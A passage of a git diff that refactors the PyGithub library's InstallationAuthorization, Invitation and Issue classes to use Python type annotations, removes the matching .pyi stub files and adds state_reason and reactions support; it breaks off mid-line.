Jacques # +# Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -23,73 +36,62 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.NamedUser import github.PaginatedList +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.NamedUser import NamedUser -class InstallationAuthorization(github.GithubObject.NonCompletableGithubObject): +class InstallationAuthorization(NonCompletableGithubObject): """ This class represents InstallationAuthorizations """ - def __repr__(self): + def _initAttributes(self) -> None: + self._token: Attribute[str] = NotSet + self._expires_at: Attribute[datetime] = NotSet + self._on_behalf_of: Attribute[NamedUser] = NotSet + self._permissions: Attribute[dict] = NotSet + self._repository_selection: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"expires_at": self._expires_at.value}) @property - def token(self): - """ - :type: string - """ + def token(self) -> str: return self._token.value @property - def expires_at(self): - """ - :type: datetime - """ + def expires_at(self) -> datetime: return self._expires_at.value @property - def on_behalf_of(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def on_behalf_of(self) -> NamedUser: return self._on_behalf_of.value @property - def permissions(self): - """ - :type: dict - """ + def permissions(self) -> dict: return self._permissions.value @property - def repository_selection(self): - """ - :type: string - """ + def repository_selection(self) -> str: return self._repository_selection.value - def _initAttributes(self): - self._token = github.GithubObject.NotSet - self._expires_at = github.GithubObject.NotSet - self._on_behalf_of = github.GithubObject.NotSet - self._permissions = github.GithubObject.NotSet - self._repository_selection = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "token" in attributes: # pragma no branch self._token = self._makeStringAttribute(attributes["token"]) if "expires_at" in attributes: # pragma no branch self._expires_at = self._makeDatetimeAttribute(attributes["expires_at"]) if "on_behalf_of" in attributes: # pragma no branch - self._on_behalf_of = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["on_behalf_of"] - ) + self._on_behalf_of = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["on_behalf_of"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeDictAttribute(attributes["permissions"]) if "repository_selection" in attributes: # pragma no branch - self._repository_selection = self._makeStringAttribute( - attributes["repository_selection"] - ) + self._repository_selection = self._makeStringAttribute(attributes["repository_selection"]) diff --git a/github/InstallationAuthorization.pyi b/github/InstallationAuthorization.pyi deleted file mode 100644 index 8ef8e38fc5..0000000000 --- a/github/InstallationAuthorization.pyi +++ /dev/null @@ -1,20 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser - -class InstallationAuthorization(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def expires_at(self) -> datetime: ... - @property - def on_behalf_of(self) -> NamedUser: ... - @property - def token(self) -> str: ... - @property - def permissions(self) -> dict: ... - @property - def repository_selection(self) -> str: ... diff --git a/github/Invitation.py b/github/Invitation.py index 971085a0d1..89159f9437 100644 --- a/github/Invitation.py +++ b/github/Invitation.py @@ -1,8 +1,22 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -22,106 +36,88 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.GithubObject +import github.NamedUser +import github.Repository +from github.GithubObject import Attribute, CompletableGithubObject, NotSet +if TYPE_CHECKING: + from github.NamedUser import NamedUser + from github.Repository import Repository -class Invitation(github.GithubObject.CompletableGithubObject): + +class Invitation(CompletableGithubObject): """ This class represents repository invitations. The reference can be found here https://docs.github.com/en/rest/reference/repos#invitations """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._permissions: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._invitee: Attribute[NamedUser] = NotSet + self._inviter: Attribute[NamedUser] = NotSet + self._url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._repository: Attribute[Repository] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def permissions(self): - """ - :type: string - """ + def permissions(self) -> str: self._completeIfNotSet(self._permissions) return self._permissions.value @property - def created_at(self): - """ - :type: string - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def invitee(self): - """ - :type: NamedUser - """ + def invitee(self) -> NamedUser: self._completeIfNotSet(self._invitee) return self._invitee.value @property - def inviter(self): - """ - :type: NamedUser - """ + def inviter(self) -> NamedUser: self._completeIfNotSet(self._inviter) return self._inviter.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def repository(self): - """ - :type: Repository - """ + def repository(self) -> Repository: self._completeIfNotSet(self._repository) return self._repository.value - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._permissions = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._invitee = github.GithubObject.NotSet - self._inviter = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "invitee" in attributes: # pragma no branch - self._invitee = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["invitee"] - ) + self._invitee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["invitee"]) if "inviter" in attributes: # pragma no branch - self._inviter = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["inviter"] - ) + self._inviter = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["inviter"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) diff --git a/github/Invitation.pyi b/github/Invitation.pyi deleted file mode 100644 index ea8a9f6161..0000000000 --- a/github/Invitation.pyi +++ /dev/null @@ -1,26 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.Repository import Repository - -class Invitation(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def created_at(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def invitee(self) -> NamedUser: ... - @property - def inviter(self) -> NamedUser: ... - @property - def permissions(self) -> str: ... - @property - def repository(self) -> Repository: ... - @property - def url(self) -> str: ... diff --git a/github/Issue.py b/github/Issue.py index 9d4610c30e..b7295934f3 100644 --- a/github/Issue.py +++ b/github/Issue.py @@ -16,13 +16,26 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2017 Simon # +# Copyright 2018 Aaron L. Levine # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # +# Copyright 2019 Filipe Laíns # # Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Huw Jones # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Nicolas Schweitzer # +# Copyright 2023 Trim21 # +# Copyright 2024 Malik Shahzad Muzaffar # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -42,8 +55,11 @@ # # ################################################################################ -import datetime +from __future__ import annotations + import urllib.parse +from datetime import datetime +from typing import TYPE_CHECKING, Any import github.GithubObject import github.IssueComment @@ -52,381 +68,309 @@ import github.Label import github.Milestone import github.NamedUser -import github.PaginatedList +import github.PullRequest import github.Reaction import github.Repository import github.TimelineEvent - -from . import Consts - - -class Issue(github.GithubObject.CompletableGithubObject): +from github import Consts +from github.GithubObject import ( + Attribute, + CompletableGithubObject, + NotSet, + Opt, + is_defined, + is_optional, + is_optional_list, + is_undefined, +) +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.IssueComment import IssueComment + from github.IssueEvent import IssueEvent + from github.IssuePullRequest import IssuePullRequest + from github.Label import Label + from github.Milestone import Milestone + from github.NamedUser import NamedUser + from github.PullRequest import PullRequest + from github.Reaction import Reaction + from github.Repository import Repository + from github.TimelineEvent import TimelineEvent + + +class Issue(CompletableGithubObject): """ This class represents Issues. The reference can be found here https://docs.github.com/en/rest/reference/issues """ - def __repr__(self): - return self.get__repr__( - {"number": self._number.value, "title": self._title.value} - ) + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._active_lock_reason: Attribute[str | None] = NotSet + self._assignee: Attribute[NamedUser | None] = NotSet + self._assignees: Attribute[list[NamedUser]] = NotSet + self._body: Attribute[str] = NotSet + self._closed_at: Attribute[datetime] = NotSet + self._closed_by: Attribute[NamedUser] = NotSet + self._comments: Attribute[int] = NotSet + self._comments_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._events_url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._labels: Attribute[list[Label]] = NotSet + self._labels_url: Attribute[str] = NotSet + self._locked: Attribute[bool] = NotSet + self._milestone: Attribute[Milestone] = NotSet + self._number: Attribute[int] = NotSet + self._pull_request: Attribute[IssuePullRequest] = NotSet + self._repository: Attribute[Repository] = NotSet + self._state: Attribute[str] = NotSet + self._state_reason: Attribute[str | None] = NotSet + self._title: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._user: Attribute[NamedUser] = NotSet + self._reactions: Attribute[dict] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"number": self._number.value, "title": self._title.value}) @property - def assignee(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def assignee(self) -> NamedUser | None: self._completeIfNotSet(self._assignee) return self._assignee.value @property - def assignees(self): - """ - :type: list of :class:`github.NamedUser.NamedUser` - """ + def assignees(self) -> list[NamedUser]: self._completeIfNotSet(self._assignees) return self._assignees.value @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def closed_at(self): - """ - :type: datetime.datetime - """ + def closed_at(self) -> datetime: self._completeIfNotSet(self._closed_at) return self._closed_at.value @property - def closed_by(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def closed_by(self) -> NamedUser | None: self._completeIfNotSet(self._closed_by) return self._closed_by.value @property - def comments(self): - """ - :type: integer - """ + def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property - def comments_url(self): - """ - :type: string - """ + def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def events_url(self): - """ - :type: string - """ + def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def labels(self): - """ - :type: list of :class:`github.Label.Label` - """ + def labels(self) -> list[Label]: self._completeIfNotSet(self._labels) return self._labels.value @property - def labels_url(self): - """ - :type: string - """ + def labels_url(self) -> str: self._completeIfNotSet(self._labels_url) return self._labels_url.value @property - def milestone(self): - """ - :type: :class:`github.Milestone.Milestone` - """ + def milestone(self) -> Milestone: self._completeIfNotSet(self._milestone) return self._milestone.value @property - def number(self): - """ - :type: integer - """ + def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property - def pull_request(self): - """ - :type: :class:`github.IssuePullRequest.IssuePullRequest` - """ + def pull_request(self) -> IssuePullRequest | None: self._completeIfNotSet(self._pull_request) return self._pull_request.value @property - def repository(self): - """ - :type: :class:`github.Repository.Repository` - """ + def repository(self) -> Repository: self._completeIfNotSet(self._repository) - if self._repository is github.GithubObject.NotSet: + if is_undefined(self._repository): # The repository was not set automatically, so it must be looked up by url. repo_url = "/".join(self.url.split("/")[:-2]) self._repository = github.GithubObject._ValuedAttribute( - github.Repository.Repository( - self._requester, self._headers, {"url": repo_url}, completed=False - ) + github.Repository.Repository(self._requester, self._headers, {"url": repo_url}, completed=False) ) return self._repository.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def title(self): - """ - :type: string - """ + def state_reason(self) -> str | None: + self._completeIfNotSet(self._state_reason) + return self._state_reason.value + + @property + def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value @property - def locked(self): - """ - :type: bool - """ + def locked(self) -> bool: self._completeIfNotSet(self._locked) return self._locked.value @property - def active_lock_reason(self): - """ - :type: string - """ + def active_lock_reason(self) -> str | None: self._completeIfNotSet(self._active_lock_reason) return self._active_lock_reason.value - def as_pull_request(self): + @property + def reactions(self) -> dict: + self._completeIfNotSet(self._reactions) + return self._reactions.value + + def as_pull_request(self) -> PullRequest: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number} `_ - :rtype: :class:`github.PullRequest.PullRequest` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", "/pulls/".join(self.url.rsplit("/issues/", 1)) - ) - return github.PullRequest.PullRequest( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", "/pulls/".join(self.url.rsplit("/issues/", 1))) + return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) - def add_to_assignees(self, *assignees): + def add_to_assignees(self, *assignees: NamedUser | str) -> None: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/assignees `_ - :param assignee: :class:`github.NamedUser.NamedUser` or string - :rtype: None """ - assert all( - isinstance(element, (github.NamedUser.NamedUser, str)) - for element in assignees - ), assignees + assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ - assignee.login - if isinstance(assignee, github.NamedUser.NamedUser) - else assignee + assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/assignees", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/assignees", input=post_parameters) self._useAttributes(data) - def add_to_labels(self, *labels): + def add_to_labels(self, *labels: Label | str) -> None: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/labels `_ - :param label: :class:`github.Label.Label` or string - :rtype: None - """ - assert all( - isinstance(element, (github.Label.Label, str)) for element in labels - ), labels - post_parameters = [ - label.name if isinstance(label, github.Label.Label) else label - for label in labels - ] - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/labels", input=post_parameters - ) + """ + assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels + post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/labels", input=post_parameters) - def create_comment(self, body): + def create_comment(self, body: str) -> IssueComment: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/comments `_ - :param body: string - :rtype: :class:`github.IssueComment.IssueComment` """ assert isinstance(body, str), body post_parameters = { "body": body, } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/comments", input=post_parameters - ) - return github.IssueComment.IssueComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) + return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) - def delete_labels(self): + def delete_labels(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels `_ - :rtype: None """ - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/labels" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/labels") def edit( self, - title=github.GithubObject.NotSet, - body=github.GithubObject.NotSet, - assignee=github.GithubObject.NotSet, - state=github.GithubObject.NotSet, - milestone=github.GithubObject.NotSet, - labels=github.GithubObject.NotSet, - assignees=github.GithubObject.NotSet, - ): + title: Opt[str] = NotSet, + body: Opt[str] = NotSet, + assignee: Opt[str | NamedUser | None] = NotSet, + state: Opt[str] = NotSet, + milestone: Opt[Milestone | None] = NotSet, + labels: Opt[list[str]] = NotSet, + assignees: Opt[list[NamedUser | str]] = NotSet, + state_reason: Opt[str] = NotSet, + ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/issues/{number} `_ - :param title: string - :param body: string - :param assignee: string or :class:`github.NamedUser.NamedUser` or None - :param assignees: list of string or :class:`github.NamedUser.NamedUser` - :param state: string - :param milestone: :class:`github.Milestone.Milestone` or None - :param labels: list of string - :rtype: None - """ - assert title is github.GithubObject.NotSet or isinstance(title, str), title - assert body is github.GithubObject.NotSet or isinstance(body, str), body - assert ( - assignee is github.GithubObject.NotSet - or assignee is None - or isinstance(assignee, github.NamedUser.NamedUser) - or isinstance(assignee, str) - ), assignee - assert assignees is github.GithubObject.NotSet or all( - isinstance(element, github.NamedUser.NamedUser) or isinstance(element, str) - for element in assignees - ), assignees - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert ( - milestone is github.GithubObject.NotSet - or milestone is None - or isinstance(milestone, github.Milestone.Milestone) - ), milestone - assert labels is github.GithubObject.NotSet or all( - isinstance(element, str) for element in labels - ), labels - post_parameters = dict() - if title is not github.GithubObject.NotSet: - post_parameters["title"] = title - if body is not github.GithubObject.NotSet: - post_parameters["body"] = body - if assignee is not github.GithubObject.NotSet: - if isinstance(assignee, str): - post_parameters["assignee"] = assignee - else: - post_parameters["assignee"] = assignee._identity if assignee else "" - if assignees is not github.GithubObject.NotSet: + :param assignee: deprecated, use `assignees` instead. `assignee=None` means to remove current assignee. + :param milestone: `milestone=None` means to remove current milestone. + """ + assert is_optional(title, str), title + assert is_optional(body, str), body + assert assignee is None or is_optional(assignee, (github.NamedUser.NamedUser, str)), assignee + assert is_optional_list(assignees, (github.NamedUser.NamedUser, str)), assignees + assert is_optional(state, str), state + assert milestone is None or is_optional(milestone, github.Milestone.Milestone), milestone + assert is_optional_list(labels, str), labels + + post_parameters = NotSet.remove_unset_items( + { + "title": title, + "body": body, + "state": state, + "state_reason": state_reason, + "labels": labels, + "assignee": assignee._identity + if isinstance(assignee, github.NamedUser.NamedUser) + else (assignee or ""), + "milestone": milestone._identity + if isinstance(milestone, github.Milestone.Milestone) + else (milestone or ""), + } + ) + + if is_defined(assignees): post_parameters["assignees"] = [ - element._identity - if isinstance(element, github.NamedUser.NamedUser) - else element + element._identity if isinstance(element, github.NamedUser.NamedUser) else element for element in assignees ] - if state is not github.GithubObject.NotSet: - post_parameters["state"] = state - if milestone is not github.GithubObject.NotSet: - post_parameters["milestone"] = milestone._identity if milestone else "" - if labels is not github.GithubObject.NotSet: - post_parameters["labels"] = labels - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def lock(self, lock_reason): + def lock(self, lock_reason: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/issues/{issue_number}/lock `_ - :param lock_reason: string - :rtype: None """ assert isinstance(lock_reason, str), lock_reason - put_parameters = dict() - put_parameters["lock_reason"] = lock_reason + put_parameters = {"lock_reason": lock_reason} headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/lock", @@ -434,54 +378,41 @@ def lock(self, lock_reason): headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) - def unlock(self): + def unlock(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{issue_number}/lock `_ - :rtype: None """ - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/lock" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/lock") - def get_comment(self, id): + def get_comment(self, id: int) -> IssueComment: """ :calls: `GET /repos/{owner}/{repo}/issues/comments/{id} `_ - :param id: integer - :rtype: :class:`github.IssueComment.IssueComment` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self._parentUrl(self.url)}/comments/{id}" - ) - return github.IssueComment.IssueComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self._parentUrl(self.url)}/comments/{id}") + return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) - def get_comments(self, since=github.GithubObject.NotSet): + def get_comments(self, since: Opt[datetime] = NotSet) -> PaginatedList[IssueComment]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/comments `_ - :param since: datetime.datetime format YYYY-MM-DDTHH:MM:SSZ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.IssueComment.IssueComment` - """ - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - url_parameters = dict() - if since is not github.GithubObject.NotSet: + """ + url_parameters = {} + if is_defined(since): + assert isinstance(since, datetime), since url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( + + return PaginatedList( github.IssueComment.IssueComment, self._requester, f"{self.url}/comments", url_parameters, ) - def get_events(self): + def get_events(self) -> PaginatedList[IssueEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/{issue_number}/events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.IssueEvent.IssueEvent` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.IssueEvent.IssueEvent, self._requester, f"{self.url}/events", @@ -489,76 +420,50 @@ def get_events(self): headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) - def get_labels(self): + def get_labels(self) -> PaginatedList[Label]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/labels `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Label.Label` """ - return github.PaginatedList.PaginatedList( - github.Label.Label, self._requester, f"{self.url}/labels", None - ) + return PaginatedList(github.Label.Label, self._requester, f"{self.url}/labels", None) - def remove_from_assignees(self, *assignees): + def remove_from_assignees(self, *assignees: NamedUser | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/assignees `_ - :param assignee: :class:`github.NamedUser.NamedUser` or string - :rtype: None """ - assert all( - isinstance(element, (github.NamedUser.NamedUser, str)) - for element in assignees - ), assignees + assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ - assignee.login - if isinstance(assignee, github.NamedUser.NamedUser) - else assignee + assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/assignees", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/assignees", input=post_parameters) self._useAttributes(data) - def remove_from_labels(self, label): + def remove_from_labels(self, label: Label | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels/{name} `_ - :param label: :class:`github.Label.Label` or string - :rtype: None """ assert isinstance(label, (github.Label.Label, str)), label if isinstance(label, github.Label.Label): label = label._identity else: label = urllib.parse.quote(label) - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/labels/{label}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/labels/{label}") - def set_labels(self, *labels): + def set_labels(self, *labels: Label | str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/issues/{number}/labels `_ - :param labels: list of :class:`github.Label.Label` or strings - :rtype: None - """ - assert all( - isinstance(element, (github.Label.Label, str)) for element in labels - ), labels - post_parameters = [ - label.name if isinstance(label, github.Label.Label) else label - for label in labels - ] - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"{self.url}/labels", input=post_parameters - ) + """ + assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels + post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] + headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/labels", input=post_parameters) - def get_reactions(self): + def get_reactions(self) -> PaginatedList[Reaction]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/reactions `_ - :return: :class: :class:`github.PaginatedList.PaginatedList` of :class:`github.Reaction.Reaction` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", @@ -566,11 +471,9 @@ def get_reactions(self): headers={"Accept": Consts.mediaTypeReactionsPreview}, ) - def create_reaction(self, reaction_type): + def create_reaction(self, reaction_type: str) -> Reaction: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/reactions `_ - :param reaction_type: string - :rtype: :class:`github.Reaction.Reaction` """ assert isinstance(reaction_type, str), reaction_type post_parameters = { @@ -584,11 +487,9 @@ def create_reaction(self, reaction_type): ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) - def delete_reaction(self, reaction_id): + def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{issue_number}/reactions/{reaction_id} `_ - :param reaction_id: integer - :rtype: bool """ assert isinstance(reaction_id, int), reaction_id status, _, _ = self._requester.requestJson( @@ -598,12 +499,11 @@ def delete_reaction(self, reaction_id): ) return status == 204 - def get_timeline(self): + def get_timeline(self) -> PaginatedList[TimelineEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/timeline `_ - :return: :class: :class:`github.PaginatedList.PaginatedList` of :class:`github.TimelineEvent.TimelineEvent` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.TimelineEvent.TimelineEvent, self._requester, f"{self.url}/timeline", @@ -612,65 +512,27 @@ def get_timeline(self): ) @property - def _identity(self): + def _identity(self) -> int: return self.number - def _initAttributes(self): - self._active_lock_reason = github.GithubObject.NotSet - self._assignee = github.GithubObject.NotSet - self._assignees = github.GithubObject.NotSet - self._body = github.GithubObject.NotSet - self._closed_at = github.GithubObject.NotSet - self._closed_by = github.GithubObject.NotSet - self._comments = github.GithubObject.NotSet - self._comments_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._events_url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._labels = github.GithubObject.NotSet - self._labels_url = github.GithubObject.NotSet - self._locked = github.GithubObject.NotSet - self._milestone = github.GithubObject.NotSet - self._number = github.GithubObject.NotSet - self._pull_request = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "active_lock_reason" in attributes: # pragma no branch - self._active_lock_reason = self._makeStringAttribute( - attributes["active_lock_reason"] - ) + self._active_lock_reason = self._makeStringAttribute(attributes["active_lock_reason"]) if "assignee" in attributes: # pragma no branch - self._assignee = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["assignee"] - ) + self._assignee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assignee"]) if "assignees" in attributes: # pragma no branch - self._assignees = self._makeListOfClassesAttribute( - github.NamedUser.NamedUser, attributes["assignees"] - ) + self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, attributes["assignees"]) elif "assignee" in attributes: if attributes["assignee"] is not None: - self._assignees = self._makeListOfClassesAttribute( - github.NamedUser.NamedUser, [attributes["assignee"]] - ) + self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, 